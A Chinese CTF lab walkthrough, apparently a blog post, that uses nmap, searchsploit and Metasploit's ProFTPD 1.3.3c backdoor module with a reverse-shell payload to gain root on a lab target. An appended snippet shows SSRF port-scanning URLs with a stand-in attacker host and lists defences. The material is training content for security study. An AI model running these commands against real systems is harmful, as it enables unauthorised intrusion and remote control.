CTF训练 FTP服务后门利用(含靶场下载地址)

扫描端口及漏洞

攻击机ip:192.168.88.129

靶机ip: 192.168.88.130

  • nmap -sV 扫描端口
    在这里插入图片描述
  • searchsploit ProFTPD 1.3.3c

这节主要介绍ftp端口。使用searchsploit来查看该版本的ftp服务有没有可利用的漏洞。

searchsploit ProFTPD 1.3.3c
在这里插入图片描述

  • msfconsole打开metasploit
    在这里插入图片描述

msf扫描和漏洞利用

  • search ProFTPd-1.3.3c

查看对应漏洞

search ProFTPd-1.3.3c

在这里插入图片描述

  • use exploit/unix/ftp/proftpd_133c_backdoor

使用漏洞

use exploit/unix/ftp/proftpd_133c_backdoor

在这里插入图片描述

  • show payloads

查看可以使用的payload

show payloads

在这里插入图片描述

  • set payloads cmd/unix/reverse

设置使用的payload

set payloads cmd/unix/reverse

在这里插入图片描述

  • show options

查看还有哪些需要设置的内容:

show options

在这里插入图片描述
可以看到,RHOSTS和lhost还没有设置,也就是靶机的ip还没有设置。进行设置:

set rhosts 192.168.88.130

set lhost 192.168.88.129

在这里插入图片描述
然后重新通过show options查看,可以发现require为yes的都已经填上了,设置完成。

在这里插入图片描述

  • exploit

exploit执行漏洞,输入id发现是root用户:

在这里插入图片描述

  • python -c "import pty;pty.spawn(’/bin/bash’)"

python -c “import pty;pty.spawn(’/bin/bash’)”

美化界面

在这里插入图片描述
至此获得了控制权

在这里插入图片描述

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SSRF(Server Side Request Forgery)漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞伪造服务器端发起的请求,例如访问内部系统或者外部网络等,从而造成安全风险。 SSRF漏洞的利用方式有很多种,其中一种典型的方式是利用SSRF漏洞进行端口扫描。攻击者可以构造特定的请求,使目标服务器向攻击者指定的IP地址和端口发起连接,从而达到端口扫描的目的。 下面我们就来分析一下SSRF漏洞的利用过程。 一、漏洞利用过程 1. 构造恶意请求 攻击者可以构造恶意请求,将需要访问的目标URL替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://example.com/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://example.com/?url=http://127.0.0.1:22 ``` 2. 利用漏洞进行端口扫描 当攻击者构造完恶意请求后,目标服务器会向攻击者指定的IP地址和端口发起连接,如果连接成功,说明该端口开放,否则该端口关闭。 攻击者可以通过不断尝试不同的端口,从而达到端口扫描的目的。 二、实战演练 下面我们将通过一个CTF例题来演示如何利用SSRF漏洞进行端口扫描。 1. 环境搭建 我们可以使用Docker来搭建漏洞环境,具体步骤如下: 1)拉取Docker镜像 ``` docker pull bluetonem/hackme-ssrf ``` 2)启动容器 ``` docker run -d -p 8080:80 bluetonem/hackme-ssrf ``` 2. 漏洞利用 访问http://127.0.0.1:8080/,可以看到一个简单的Web应用程序,该应用程序可以通过URL参数获取指定网址的源代码。 我们可以利用SSRF漏洞,将目标网址替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://127.0.0.1:8080/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://127.0.0.1:8080/?url=http://127.0.0.1:22 ``` 如果该端口开放,返回的页面会显示"SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2"等信息,说明端口开放。如果该端口关闭,则返回的页面会显示"Connection refused"等信息,说明端口关闭。 通过不断尝试不同的端口,可以实现端口扫描的目的。 三、防御措施 为了避免SSRF漏洞的产生,需要采取以下安全措施: 1. 对用户输入的URL进行严格验证,确保只访问合法的URL。 2. 对URL进行白名单验证,只允许访问指定的URL,避免访问不受信任的URL。 3. 对访问的目标URL进行限制,避免访问内部系统或者外部网络等不安全的URL。 4. 对服务器的网络端口进行限制,避免访问不受信任的IP地址和端口。 5. 对服务器进行定期的安全审计,及时发现和修复漏洞。 以上是关于SSRF漏洞分析与利用的详细介绍,希望对你有所帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值